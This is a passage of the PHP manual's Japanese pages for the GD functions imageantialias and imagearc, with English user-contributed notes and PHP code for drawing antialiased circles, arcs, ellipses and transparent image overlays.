 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
   $ta = imagecolorat($d[1],$x,$y);
   $ta = imagecolorsforindex($d[1],$ta);
   $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}

?>
05-Jun-2005 11:53
I have been looking around for a while to find a script which does the following: generates image with text using specified font with given color, but with totally transparent background (by alpha-channnel, not via color transparency). Finally, I have created the script by myself. It's just a rough idea how to do it.

<?php
$tekst = "This is a test message\nza??? g?l? ja??!\nZA??? G?L? JA???";

$h = 9;

$size = imageTTFBBox($h, 0, "arial.ttf", $tekst);
$image = imageCreateTrueColor(abs($size[2]) + abs($size[0]), abs($size[7]) + abs($size[1]));
imageSaveAlpha($image, true);
ImageAlphaBlending($image, false);

$tlo = imagecolorallocatealpha($image, 220, 220, 220, 127);
imagefill($image, 0, 0, $tlo);

$napis = imagecolorallocate($image, 220, 220, 220);
imagettftext($image, $h, 0, 0, abs($size[5]), $napis, "arial.ttf", $tekst);
imagepng($image, "output.png");
imagedestroy($image);

?>
<html>
<head>
</head>
<body bgcolor="#808080">
<img src="output.png" alt="">
</body>
</html>
webmaster at nweurosport dot com 17-Feb-2005 01:00
When saving images for use in transparent overlays like the logo addition mentioned above I've found that it is not succesful with PNG-24, only GIF and PNG-8.  I've had great success with PNG-8's.
dscharrer at gmail dot com 23-Dec-2004 02:32
If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:

<?
//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
    $ta = imagecolorat($d[1],$x,$y);
    $ta = imagecolorsforindex($d[1],$ta);
    $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}
?>
joe AT cerberon DOT net 01-Mar-2004 05:02
Note that alpha blending must be enabled to render antialiased text in true color mode.

For OLDER versions of PHP and/or GD (e.g. which comes with Debian woody) alpha blending is DISABLED by default and it is ENABLED for NEWER versions.
www.deebster.com 17-Nov-2003 03:12
Your target image resource not must be paletted if you want to use blending.

This means using ImageCreateTrueColor() rather than ImageCreate().

(If your source is e.g. a jpeg and you've used ImageCreateFromJPEG(), the above is irrelevant.)
boo at php dot net 30-Jun-2003 02:18
Notice that AlphaBlending is ON by default.
So, only use this function if you don't want to use AlphaBlending.
tcarter at roundcorners dot com 13-Feb-2002 07:55
If you are saving an image as PNG with transparency then saving it as a PNG-8 will give it transparency in the same way GIF has, but that won't work with this function.

For this function to work the image needs to have an alpha channel (obviously really when you think about it), so make sure you save as PNG-24
barnabas at kendall dot NOSPAM dot net 11-Oct-2001 05:56
If you are trying to copy a transparant image on to another image, you might assume that you should apply the ImageAlphaBlending function to the image that has the transparancy, the source image. In reality, you must apply the ImageAlphaBlending function to the destination image. Basically it's saying, "make the specified image respect transparancy".

Here's a real world example. Suppose you want to put your logo on the upper left corner of a photograph. Your logo is a PNG with transparancy, and the photo is a JPEG. Here's what you would do:

<?php
$photoImage = ImageCreateFromJPEG('photo.jpg');
ImageAlphaBlending($photoImage, true);

$logoImage = ImageCreateFromPNG('logo.png');
$logoW = ImageSX($logoImage);
$logoH = ImageSY($logoImage);

ImageCopy($photoImage, $logoImage, 0, 0, 0, 0, $logoW, $logoH);

ImageJPEG($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($logoImage);
?>


アンチエイリアス機能を使用すべきかどうかを判断する

  • ≪ imagealphablending
  • imagearc ≫
  • PHP Manual
  • GD および Image 関数
  • アンチエイリアス機能を使用すべきかどうかを判断する

imageantialias

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imageantialias — アンチエイリアス機能を使用すべきかどうかを判断する

説明

imageantialias ( resource $image , bool $enabled ) : bool

直線や多角形を高速に描画するためのアンチエイリアス機能を有効にします。 アルファコンポーネントはサポートしていません。ダイレクトブレンド操作を 使用します。truecolor 画像に対してのみ動作します。

thickness および styled はサポートしていません。

背景色が透明な場合にアンチエイリアス機能を使用すると、予期せぬ結果に 終わることがあります。ブレンドメソッドでは、背景色が使用されます。 アルファコンポーネントをサポートしていないため、アルファコンポーネントに 基づいたアンチエイリアス手法は使用できません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

enabled

アンチエイリアスを有効にするかどうか。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.2.0 | imageantialias() が常に使えるようになりました。 これまでのバージョンでは、PHP にバンドルされている GD ライブラリでコンパイルした場合にしか使えませんでした。

例

例1 2 本の直線のうち一方にアンチエイリアスを有効にする

<?php
// アンチエイリアス画像と通常の画像を用意します
$aa = imagecreatetruecolor(400, 100);
$normal = imagecreatetruecolor(200, 100);

// アンチエイリアスを有効にします
imageantialias($aa, true);

// 色を割り当てます
$red = imagecolorallocate($normal, 255, 0, 0);
$red_aa = imagecolorallocate($aa, 255, 0, 0);

// 一方はアンチエイリアスを有効にした状態で 2 本の直線を描画します
imageline($normal, 0, 0, 200, 100, $red);
imageline($aa, 0, 0, 200, 100, $red_aa);

// ふたつの画像を横に並べて出力します (アンチエイリアス: 左、通常: 右)
imagecopymerge($aa, $normal, 200, 0, 0, 0, 200, 100, 100);

// 画像を出力します
header('Content-type: image/png');

imagepng($aa);
imagedestroy($aa);
imagedestroy($normal);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 2 本の直線のうち一方にアンチエイリアスを有効にする

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する

User Contributed Notes

verdy_p at wanadoo dot fr 04-Jan-2010 01:27
There's a minor edit bug in those lines in the fast algorithm ("20 times faster"):

            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );

the reference to "$ix" in the parameters of each call (just before the ", $fill " parameter) should be sometimes "$iy".

This algorithm uses the Bresenham midpoint algorithm for circles, but computing successive pixels positions ($ix, $iy) incrementally in the first octant, relative to the circle center ($cx, $cy), then applying the 8 symetries by swapping them or changing signs.

A similar algorithm exists for ellipses: it uses quadrants symetries instead of octants when the ellipse focal axis is aligned or orthogonal to the two image axis, be subdividing each quadrant in two regions (deminited by the point on the arc where the tangent has a unitary slope).

For general ellipses (rotated arbitrarily in the plane), there are also 4 quadrants symetries, but they are a bit more complex to compute, as you need to compute the rotations, for this reason you'll only be able to use 2 symetries, but the incremental algorithm still exists: you may think that this would be based on the evaluation of the sum of lengths from the two focal points, which is contant; however the sum of two distance cannot be squared so easily (you would need to compute the square of both distances, then take their respective square root before adding them and testing the difference with the exact length. A cleaner solution uses NURBS (Non-Uniform Rational B-splines) because they are numerically stable and still very fast to compute (you only need some floatting point for the knot constants that separate each quadrant, which is then computed using a simple quadratic parametric equation of the ellipse instead of the implicit equation, given that the quadratic (polynomial) equation has first and scond derivatives that are easy to bound in order to get the needed precision and reduce the number of unnecessary pixel plots : such the parametric eqaution will draw points along the arc with a movement speed varying between 1 and 4 subpixel distance per incremental step, but in fact only between 1 and 2 subpixels when you subdivide the quadrant in two regions).

Alternatively, you may also draw an antialised "straight" ellipse with a double resolution, and then rotate the antiliased image while also rescale it at half size, and at the same time combining it to the target: depending on implementations (and computing language used), it may be faster (but it may require more memory for the intermediate image at scale 2)...
dsl101 31-Jul-2009 08:48
Having tried long and hard to get a decent antialiased circle function, I finally gave in a wrote something from scratch. Its very very naive - basically examining every single pixel in the enclosing square, but as a result produces very nice antialiasing, with decent control over stroke width, antialiasing amount and tightness of antialiasing. I'm sure it could be optimised considerably, but it was fast enough for what I was doing. Hope its of some use.

<?php

function imagecircleaa($img, $cx, $cy, $r, $w, $s, $t, $color) // image, centerX, centerY, radius, stroke width, aa width, tightness, color
{
    $adj = $w + $s;
    $sCol = imagecolorallocate($img, $color['r'], $color['g'], $color['b']);
    for($x = -$r - $adj; $x <= $r + $adj; $x++)
    {
        for($y = -$r - $adj; $y <= $r + $adj; $y++)
        {
            $d = sqrt($x * $x + $y * $y); // distance from pixel to center
            $err = abs($d - $r); // absolute distance from pixel to circle edge
            if($err <= $w / 2 + $s) // within the stroke width + smoothing radius
            {
                if($err <= $w / 2) // inside the stroke width so make it solid color
                {
                    $aaCol = $sCol;
                }
                else // in the antialisaing region so make it a blended color
                {
                    $err -= $w / 2; // adjust to the aliased part
                    $err = 1 - $err / $s; // adjust to between 0 and 1
                    $err = ($err - 0.5) * $t * 2; // adjust to -$t to +$t for tightness
                    $err = ($err / sqrt(1 + $err * $err) + 1) / 2; // sigmoid curve to smooth edges
                    $rgb = imagecolorat($img, $x + $cx, $y + $cy); // Get current background color
                    $rB = ($rgb >> 16) & 0xFF;
                    $gB = ($rgb >> 8) & 0xFF;
                    $bB = $rgb & 0xFF;
                    $rDelta = ($rB - $color['r']); // change in Red from background
                    $rComp = $rB - $rDelta * $err; // mix Red
                    $gDelta = ($gB - $color['g']); // change in Red from background
                    $gComp = $gB - $gDelta * $err; // mix Red
                    $bDelta = ($bB - $color['b']); // change in Red from background
                    $bComp = $bB - $bDelta * $err; // mix Red
                    $aaCol = imagecolorallocate($img, $rComp, $gComp, $bComp);
                }
                imagesetpixel($img, $x + $cx, $y + $cy, $aaCol);
            }
        }
    }
}

$img = imagecreatetruecolor(500,500);

$cBlack = imagecolorallocate($img, 0, 0, 0);
$cGrey = imagecolorallocate($img, 120, 120, 120);
$cWhite = imagecolorallocate($img, 255, 255, 255);

imagefill($img, 0, 0, $cWhite);
imagepolygon($img, array(0, 0,200, 0, 200, 200, 0, 200), 4, cBlack);

$aWhite = array('r'=>255, 'g'=>255, 'b'=>255);
$aBlack = array('r'=>0, 'g'=>0, 'b'=>0);
$aRed = array('r'=>200, 'g'=>0, 'b'=>0);
$aGreen = array('r'=>0, 'g'=>200, 'b'=>0);
$aBlue = array('r'=>0, 'g'=>0, 'b'=>255);

// standard ellipse function for comparison
imageellipse($img, 100, 100, 50, 50, $cBlack);

// compare different tightnesses - good values are between 2 and 8
// note overall width is stroke width + 2 * aa width (e.g. 12 pixels below)
imagecircleaa($img, 50, 50, 25, 2, 5, 2, $aBlue);
imagecircleaa($img, 50, 150, 25, 2, 5, 8, $aBlue);

// different coloured background to show blending
imagefilledrectangle($img, 150,150, 200, 200, $cGrey);
imagecircleaa($img, 150, 150, 25, 3, 2, 2, $aRed);

// overlapping circles still aa nicely, although the colour blending algorithm produces quite dark intermediate shades
imagecircleaa($img, 150, 60, 25, 2, 3, 2, $aBlue);
imagecircleaa($img, 150, 50, 25, 2, 3, 2, $aGreen);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
padigan 06-Feb-2007 03:13
If you can't be bothered creating (or searching for) a full screen antialias function.
You can actually cheat (well a bit of a dirty inefficient hack really!!)
and perform a fake antialias on an image by using 'imagecopyresampled'...

first create your source image twice the size of what you really want.

Then use 'imagecopyresampled' to shrink it to half the size, the function
automatically interpolates pixels to create an antialias effect!

I've used this in a pie chart function and it works brilliantly,
not as slow as I thought it might be!

the rough code below should give you the idea...

<?php
$realWidth = 500;
$realHeight = 500;
$srcWidth = $realWidth * 2;
$srcHeight = $realHeight * 2;

// create the larger source image
$srcImage = imagecreatetruecolor($srcWidth,$srcHeight);

// create the real/final image
$destImage = imagecreatetruecolor($realWidth,$realHeight);

// now do whatever you want to draw in the source image
// blah....

// now the picture is finished, do the shrink...
imagecopyresampled($destImage,$srcImage,0,0,0,0,
$realWidth,$realHeight,$srcWidth,$srcHeight);

// now just do whatever you want with '$destImage' (e.g. display or output to file!)
?>
n-dream at gmx dot ch 18-Feb-2006 10:18
The following function draws an AntiAliased (unfilled) Ellipse.
It is used just liked the nomral ImageEllipse function.
The optional parameter sets the number of segments...

function ImageEllipseAA( &$img, $x, $y, $w, $h,$color,$segments=70)
{
    $w=$w/2;
    $h=$h/2;
    $jump=2*M_PI/$segments;
    $oldx=$x+sin(-$jump)*$w;
    $oldy=$y+cos(-$jump)*$h;
    for($i=0;$i<2*(M_PI);$i+=$jump)
    {
        $newx=$x+sin($i)*$w;
        $newy=$y+cos($i)*$h;
        ImageLine($img,$newx,$newy,$oldx,$oldy,$color);
        $oldx=$newx;
        $oldy=$newy;
    }
}
klaas at kosmokrator dot com 15-Feb-2006 05:22
Here is an optimized version of the optimized version of the antialiased circle function by sebbi: (more than 20 times faster)...

<?php

    function imageSmoothCircle( &$img, $cx, $cy, $cr, $color ) {
        $ir = $cr;
        $ix = 0;
        $iy = $ir;
        $ig = 2 * $ir - 3;
        $idgr = -6;
        $idgd = 4 * $ir - 10;
        $fill = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 0 );
        imageLine( $img, $cx + $cr - 1, $cy, $cx, $cy, $fill );
        imageLine( $img, $cx - $cr + 1, $cy, $cx - 1, $cy, $fill );
        imageLine( $img, $cx, $cy + $cr - 1, $cx, $cy + 1, $fill );
        imageLine( $img, $cx, $cy - $cr + 1, $cx, $cy - 1, $fill );
        $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 42 );
        imageSetPixel( $img, $cx + $cr, $cy, $draw );
        imageSetPixel( $img, $cx - $cr, $cy, $draw );
        imageSetPixel( $img, $cx, $cy + $cr, $draw );
        imageSetPixel( $img, $cx, $cy - $cr, $draw );
        while ( $ix <= $iy - 2 ) {
            if ( $ig < 0 ) {
                $ig += $idgd;
                $idgd -= 8;
                $iy--;
            } else {
                $ig += $idgr;
                $idgd -= 4;
            }
            $idgr -= 4;
            $ix++;
            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );
            $filled = 0;
            for ( $xx = $ix - 0.45; $xx < $ix + 0.5; $xx += 0.2 ) {
                for ( $yy = $iy - 0.45; $yy < $iy + 0.5; $yy += 0.2 ) {
                    if ( sqrt( pow( $xx, 2 ) + pow( $yy, 2 ) ) < $cr ) $filled += 4;
                }
            }
            $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], ( 100 - $filled ) );
            imageSetPixel( $img, $cx + $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx + $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx + $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx + $iy, $cy - $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy - $ix, $draw );
        }
    }

    $img = imageCreateTrueColor( 320, 240 );

    imageSmoothCircle( $img, 160, 120, 100, array( 'R' => 0xCC, 'G' => 0x33, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 170, 110,  75, array( 'R' => 0xDD, 'G' => 0x66, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 180, 100,  50, array( 'R' => 0xEE, 'G' => 0x99, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 190,  90,  25, array( 'R' => 0xFF, 'G' => 0xCC, 'B' => 0x00 ) );

    header( 'Content-Type: image/png' );
    imagePNG( $img );

?>
voinic at NOSgmailPAM dot com 12-Jan-2006 02:22
The only trick I found to draw an antialiased polygon AND keep it transparent (to use them as overlays in google maps for example)... make two images and merge them. Order of operations is important and the transparency color of the final image must be set after the merge:

<?
header("Content-type: image/png");

$values = array(
           40,  50,  // Point 1 (x, y)
           20,  240, // Point 2 (x, y)
           60,  60,  // Point 3 (x, y)
           240, 20,  // Point 4 (x, y)
           50,  40,  // Point 5 (x, y)
           10,  10  // Point 6 (x, y)
           );

$im = imagecreate(250, 250);
$bg = imagecolorallocate($im, 255, 255, 255);

$im2 = imagecreatetruecolor(250, 250);
$bg2 = imagecolorallocate($im2, 255, 255, 255);
imagefilledrectangle($im2,0,0,249,249,$bg2);
imagecolortransparent($im2, $bg);
imageantialias($im2, true);
$c_red = imagecolorallocate($im2, 255, 0, 0);
imagepolygon($im2, $values, 6, $c_red);
imageantialias($im2, false);

imagecopymerge($im, $im2,0,0,0,0,250,250,50);

imagecolortransparent($im, $bg);
$c_red_alpha = imagecolorallocatealpha($im, 255, 0, 0, 60);
imagefilledpolygon($im, $values, 6, $c_red_alpha);

imagepng($im);
imagedestroy($im);
imagedestroy($im2);
?>
sebbi at conceptT dot com 26-Sep-2005 07:06
I did a search in google and got following url:
http://www.isocalc.com/tutorials/antialias.htm
With this tutorial I was able to write a function to convert this algorithm into php, the result for a filled circel is this:
<?php
function imagefilledcircleantialiased(&$im, $cx, $cy, $r, $fgcolor, $bgcolor) {
  $fgcolors = imagecolorsforindex($im,$fgcolor);
  $bgcolors = imagecolorsforindex($im,$bgcolor);
  for ( $x = $cx - $r; $x <= $cx + $r; $x++ ) {
    for ( $y = $cy - $r; $y <= $cy + $r; $y++ ) {
      $rx = $x - $cx; $ry = $y - $cy;
      $ir = sqrt(( $rx == 0 ? 0 : pow($rx - 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry - 0.5*abs($ry)/$ry, 2) ));
      $or = sqrt(( $rx == 0 ? 0 : pow($rx + 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry + 0.5*abs($ry)/$ry, 2) ));
      if ( $or <= $r ) {
        imagesetpixel($im, $x, $y, $fgcolor);
      }
      elseif ( $ir < $r ) {
        $filled = 0;
        for ( $xx = $x - 0.45; $xx < $x + 0.5; $xx+=0.1 ) {
          for ( $yy = $y - 0.45; $yy < $y + 0.5; $yy+=0.1 ) {
            $rxx = $xx - $cx; $ryy = $yy - $cy;
            if ( sqrt(pow($rxx, 2) + pow($ryy, 2)) < $r ) $filled++;
          }
        }
        $red = round($bgcolors['red'] + ( $fgcolors['red'] - $bgcolors['red'] ) * $filled / 100);
        $green = round($bgcolors['green'] + ( $fgcolors['green'] - $bgcolors['green'] ) * $filled / 100);
        $blue = round($bgcolors['blue'] + ( $fgcolors['blue'] - $bgcolors['blue'] ) * $filled / 100);
        imagesetpixel($im, $x, $y, imagecolorclosest($im, $red, $green, $blue));
      }
    }
  }
}

$width = 160;
$height = 200;
$r = 20;
$bgc = "651713";
$fgc = "b12b2c";

$im = imagecreate($width, $height);
$bgcolor = imagecolorallocate($im, hexdec(substr($bgc, 0, 2)), hexdec(substr($bgc, 2, 2)), hexdec(substr($bgc, 4, 2)));
for( $i = 0; $i < 100; $i++ ) {
    imagecolorallocate($im, ( hexdec(substr($fgc, 0, 2)) + $i*hexdec(substr($bgc, 0, 2))) / ($i + 1), ( hexdec(substr($fgc, 2, 2)) + $i*hexdec(substr($bgc, 2, 2))) / ($i + 1), ( hexdec(substr($fgc, 4, 2)) + $i*hexdec(substr($bgc, 4, 2))) / ($i + 1));
}
$fgcolor = imagecolorclosest($im, hexdec(substr($fgc, 0, 2)), hexdec(substr($fgc, 2, 2)), hexdec(substr($fgc, 4, 2)));

imagefilledcircleantialiased($im, 80, 100, $r, $fgcolor, $bgcolor);

header("Content-Type: image/png");
imagepng($im);
?>
An improvement would be to draw the inner rectangle or more rectangles in the circle with the builtin rectangle function to reduce the usage of imagesetpixel() from (2*r)^2 to 2*Pi*(r + epsilon), in other words, the dependency on r would break down from square to linear.
Another improvement would be to determine filled and unfilled triangles in the observed pixel and calculate their areas, so we can get rid of the inner loops for getting the fraction filled/unfilled.
One can easily modify this function to solve other problems like lines, unfilled circles, etc.
trimbo 06-Sep-2005 12:25
So far using PHP 5.0.4 I've managed to get Imageantialias() to work well with:
ImageLine()
ImagePolygon()

but not with:
ImageArc()
ImageEllipse()
ImageFilled*()

You can still draw antialiased filled polygons by drawing a hollow polygon on top of a filled one with the same dimensions:
<?php
        $points=array($x,$y, $x2,$y2, $x3,$y3);
        imageFilledPolygon($im, $points, 3, $gray );
        imagePolygon($im, $points, 3, $gray );
?>


部分楕円を描画する

  • ≪ imageantialias
  • imagebmp ≫
  • PHP Manual
  • GD および Image 関数
  • 部分楕円を描画する

imagearc

(PHP 4, PHP 5, PHP 7, PHP 8)

imagearc — 部分楕円を描画する

説明

imagearc ( resource $image , int $cx , int $cy , int $width , int $height , int $start , int $end , int $color ) : bool

imagearc() は、指定した座標を中心とする円弧を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

cx

中心の x 座標。

cy

中心の y 座標。

width

円弧の幅。

height

円弧の高さ。

start

始点の角度。

end

終点の角度。 0° は 3 時の位置で、そこから時計回りの方向に円弧が描かれます。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagearc() による円の描画

<?php

// 200*200 の画像を作成します
$img = imagecreatetruecolor(200, 200);

// 色を設定します
$white = imagecolorallocate($img, 255, 255, 255);
$red   = imagecolorallocate($img, 255,   0,   0);
$green = imagecolorallocate($img,   0, 255,   0);
$blue  = imagecolorallocate($img,   0,   0, 255);

// 頭を描きます
imagearc($img, 100, 100, 200, 200,  0, 360, $white);
// 口を描きます
imagearc($img, 100, 100, 150, 150, 25, 155, $red);
// 左右の目を描きます
imagearc($img,  60,  75,  50,  50,  0, 360, $green);
imagearc($img, 140,  75,  50,  50,  0, 360, $blue);

// 画像をブラウザに出力します
header("Content-type: image/png");
imagepng($img);

// メモリを解放します
imagedestroy($img);

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagearc() による円の描画

参考

  • imagefilledarc() - 楕円弧を描画し、塗りつぶす
  • imageellipse() - 楕円を描画する
  • imagefilledellipse() - 塗りつぶされた楕円を描画する

User Contributed Notes

cleverphp 11-May-2018 02:25
imagearc example works not well,as it lacks of this line
"$white = imagecolorallocate($img, 255, 255, 255);
    imagefill($img,0,0,$white);
    $black = imagecolorallocate($img, 0, 0, 0);
"
lucas dot delmas at live dot fr 07-Jul-2013 07:15
The imagearc function has a precision of one degree. The function truncates the $start and $end values to the inferior degree.

For example if the starting angle you calculated is : -178.62450462172°
and the ending angle is : -152.78056427917°
imagearc will draw a curve from -178° to -152°.

If you need accurate curves drawing, you need to use a loop to draw little step-by-step lines. By creating a large number of short enough lines, you will create the impression of a curve with accuracy.
joe dot tym at gmail dot com 02-Oct-2012 05:08
I didn't have much luck with the other two functions, one of them makes circles that look like they've been printed on a dot-matrix printer. This simple function builds a border out of circles, seems to work nicely.

<?php
function imagearcunfilled($image,$x,$y,$width,$height,$border_thickness, $color) {

        imagesetthickness($image, 1);

        $x_radius = $width / 2;
        $y_radius = $height / 2;

        for ($i = 0; $i < 360; $i++) {
                if (TRUE) {
                        $x2 = $x + cos($i) * $x_radius;
                        $y2 = $y + sin($i) * $y_radius;
                        imagefilledarc($image,$x2,$y2,$border_thickness,$border_thickness,0,360,$color,IMG_ARC_PIE);
                }
        }
}
?>
chandlerklebs at gmail dot com 07-Jan-2012 10:24
This is an example script I wrote for myself to help me learn how to used the imagearc functions. Maybe if will also help others.

<?php
//example PHP script of imagearc functions
$image_width=360;$image_height=360;
$img = imagecreatetruecolor($image_width,$image_height); //make image variable

//create a background color by making a filled rectangle
$color = imagecolorallocate($img,255,255,255);
imagefilledrectangle($img,0,0,$image_width,$image_height,$color);

$r=$image_width/2 - $image_width/32 ; //radius
$cx=$image_width/2;
$cy=$image_height/2;

$color = imagecolorallocate($img,0,0,0);
imagearc($img, $cx, $cy, $r*2, $r*2,  0, 360, $color); //regular outlines arc

imagefilledarc($img, $cx, $cy, $r*1, $r*1,  0, 90, $color,IMG_ARC_CHORD); //filled triangle with chord of circle
imagefilledarc($img, $cx, $cy, $r*1, $r*1,  180, 270, $color,IMG_ARC_PIE); //pie slice

$font_number=5; //can use built in fonts numbered 1 to 5
$string="Hello world!";
imagestring($img, $font_number, $cx-(imagefontwidth($font_number)*strlen($string))/2, $cy-120, $string, $color);

header("Content-type: image/png");
imagepng($img);// output image in the browser

$filename="imagearc";
imagepng($img,"./frames/$filename.png",9); //make highly compressed png

imagedestroy($img);
?>
ajim1417 at gmail dot com 28-Jan-2010 07:42
I wrote a simple function that can draws an arc counter-clockwisekly. Here it is :

<?php

function imagearcCC(&$im, $cx, $cy, $w, $h, $s, $e, $c) {
$start = 360 - $e;
$end = 360 - $s;
return imagearc($im, $cx, $cy, $w, $h, $start, $end, $c);
}

?>

The params of this function is exactly the same as the usual imagearc function.
anton dot vandeghinste at telenet dot be 13-Dec-2009 07:27
I needed an arc with a thick border and i didn't like to use 359.9 as end angle so i made a function that works pretty well:

<?php
function imagearcthick($image, $x, $y, $w, $h, $s, $e, $color, $thick = 1)
{
    if($thick == 1)
    {
        return imagearc($image, $x, $y, $w, $h, $s, $e, $color);
    }
    for($i = 1;$i<($thick+1);$i++)
    {
        imagearc($image, $x, $y, $w-($i/5), $h-($i/5),$s,$e,$color);
        imagearc($image, $x, $y, $w+($i/5), $h+($i/5), $s, $e, $color);
    }
}
?>
mojiro at awmn dot net 13-Dec-2005 12:28
A previous for the Rotated (Filled)Ellipse note from(nojer2 at yahoo dot com, 02-Apr-2001 12:06) has a mistake, at the second arc. Replace them with the following listing.

if ($filled) {
    triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
} else {
    imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
}
jerryscript at aol dot com 26-Dec-2003 02:05
[note-Apache/1.3.29 (Win32) PHP/4.3.4]

The imagearc (and imageellipse) functions do not accept line thicknesses when drawn from 0 to 360 degrees.

Drawing from 0 to 359 and again from 359 to 360 does create an ellipse with the current line thickness.

Jerry
eamon at hostelworld dot com 17-Dec-2003 07:24
Right...
possibly the easiest way of drawing a filled circle:
Loop through the imagearc function incrementing the diameter by one pixel:
<?
 // --- code fragment --- //

for($i=1; $i<$Diameter; $i++){
  imagearc($Image, $CenterX, $CenterY, $i, $i, $Start, $End, $Color);
}

// --------------------- //

?>

This works great for circles with diameters up to about 60 or 70 pixels wide. After that, you start to get pixle gaps.
logang at deltatee dot com 04-Aug-2003 08:19
Heres a function to make a curve between two points... This will be a downward curve but it wouldn't be hard to make a similar function to make an upward curve. The first point has to be to the left of the second point ($x1 < $x2), and height is actually backwards. The larger height is the less of a crest the curve has. I imagine with a few modifications this functions could make upward curves as well.

function ImageCurveDown ($image, $x1, $y1, $x2, $y2, $height, $color) {
    $presicion = 1;

    for ($left = ($x1-$x2); $left < 0; $left++){
        if ($y1 < $y2) {
            $cy = $y2 + $height;
            $cx = $x1 - $left;
        } else {
            $cy = $y1 + $height;
            $cx = $x2 + $left;
        }
        $nx1 = abs($x1 - $cx);
        $ny1 = abs($y1 - $cy);
        $nx2 = abs($x2 - $cx);
        $ny2 = abs($y2 - $cy);

        if ($y1 < $y2) {
            if ($nx2 == 0 || $ny1 == 0) continue;
            $angle1 = atan($height/$nx2);
            $A1 = $nx2/cos ($angle1);
            $B1 = $ny2/sin ($angle1);
            $angle2 = pi()/2 +atan($left/$ny1);
            $A2 = $nx1/cos ($angle2);
            $B2 = $ny1/sin ($angle2);
        } else {
            if ($ny2 == 0 || $nx1 == 0) continue;
